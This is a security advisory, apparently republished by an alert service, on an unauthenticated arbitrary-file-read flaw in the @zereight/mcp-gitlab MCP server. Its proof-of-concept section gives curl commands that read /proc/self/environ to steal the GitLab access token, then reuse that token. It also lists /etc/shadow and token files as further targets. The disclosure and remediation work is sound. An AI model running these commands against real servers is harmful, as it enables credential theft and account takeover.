GHSA-cv3r-c5h8-f4g5: Path Traversal

Published Sep 16, 2026
·
Updated

Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The uploadmarkdown tool reads arbitrary files from the server's local filesystem via an unsanitized filepath parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLABPERSONALACCESSTOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (src/index.ts:7350-7388)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

typescript // src/index.ts:7354 — no auth check app.get("/sse", async (: Request, res: Response) => { const serverInstance = createServer(); const transport = new SSEServerTransport("/messages", res); await serverInstance.connect(transport); });

Remote Authorization (REMOTEAUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in uploadmarkdown (src/index.ts:5461-5503)

The uploadmarkdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines filepath as z.string() with no path restrictions, allowlists, or sandboxing.

typescript async function markdownUpload(projectId: string, filePath: string) { if (!fs.existsSync(filePath)) { throw new Error(File not found: ${filePath}); } const fileBuffer = fs.readFileSync(filePath); // Arbitrary file read — no path validation // ... uploads to GitLab project via POST /projects/:id/uploads }

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites: - A running @zereight/mcp-gitlab instance with SSE=true and GITLABPERSONALACCESSTOKEN set (this is the default Docker deployment config) - Network access to the server's port (default: 3002) - A GitLab project ID the PAT has write access to (use listprojects to enumerate)

Steps:

bash 1. Connect to the unauthenticated SSE endpoint and capture the session ID SESSIONID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

2. (Optional) Enumerate accessible projects to find a writable project ID curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSIONID" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "listprojects", "arguments": {"owned": true} } }'

3. Read /proc/self/environ (contains GITLABPERSONALACCESSTOKEN in plaintext) and upload it to a GitLab project curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSIONID" \ -H "Content-Type: application/json" \ -d '{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "uploadmarkdown", "arguments": { "projectid": "<WRITABLEPROJECTID>", "filepath": "/proc/self/environ" } } }'

4. The response contains a GitLab upload URL like: {"markdown": "!environ", "url": "/uploads/abc123def456/environ"} 5. Retrieve the uploaded file from GitLab: curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

6. The file contains NUL-separated environment variables including: GITLABPERSONALACCESSTOKEN=glpat-xxxxxxxxxxxxxxxxxxxx 7. Use the stolen PAT for full GitLab API access: curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

| File | Contents | |---|---| | /proc/self/environ | All env vars including GITLABPERSONALACCESSTOKEN=glpat-xxxxx | | /proc/self/cmdline | Command line args (token if passed via CLI) | | /etc/shadow | System password hashes | | /app/build/index.js | Full application source code | | ~/.gitlab-mcp-token.json | OAuth tokens (if OAuth mode was used) |

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Affected Software

1 affected componentFixes available
npm/@zereight/mcp-gitlab<2.1.27
2.1.27

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@zereight/mcp-gitlab to a version that resolves this vulnerability.

    Fixed in 2.1.27
  2. Configuration

    Disable the unauthenticated SSE transport; do not run with SSE=true. (The text states `/sse` and `/messages` have zero authentication middleware when SSE=true.)

    @zereight/mcp-gitlab (Docker SSE transport) SSE = false
  3. Configuration

    Use REMOTE_AUTHORIZATION=true with a non-SSE transport so per-request authorization is possible; the text states REMOTE_AUTHORIZATION=true is explicitly incompatible with SSE mode (there is no way to add per-request auth in SSE transport).

    @zereight/mcp-gitlab REMOTE_AUTHORIZATION = true
  4. Configuration

    Do not configure GITLAB_PERSONAL_ACCESS_TOKEN for the unauthenticated/bypassed transport; remove or unset it from the running container environment so an attacker cannot steal a live token via arbitrary file read.

    @zereight/mcp-gitlab Docker GITLAB_PERSONAL_ACCESS_TOKEN = unset
  5. Configuration

    Harden the container runtime by adding a Dockerfile `USER` directive so the process does not run as root (the text states the Dockerfile has no USER directive, so the process runs as root, increasing impact).

    @zereight/mcp-gitlab Dockerfile USER = non-root
  6. Compensating control

    Restrict network access to the MCP server port (default 3002) so unauthenticated attackers cannot reach it (the text states network access to the server's port enables session establishment and tool invocation).

Event History

Sep 16, 2026
Advisory Published
via GitHub·01:48 PM
Data Sourced
via GitHub·01:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed by default?

Docker deployments are affected by default because they use SSE transport mode with SSE=true. In this mode, the /sse and /messages endpoints have no authentication middleware.

2

What does an attacker need to exploit this issue?

An attacker only needs network access to the service port and does not need credentials or user interaction. They can establish an SSE session and invoke the exposed tools using the server's configured GitLab personal access token.

3

What is the likely impact if the server has a GitLab personal access token configured?

An attacker can use the unsanitized file_path parameter in upload_markdown to read local files such as /proc/self/environ. This can expose GITLAB_PERSONAL_ACCESS_TOKEN and lead to full takeover of the associated GitLab account.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203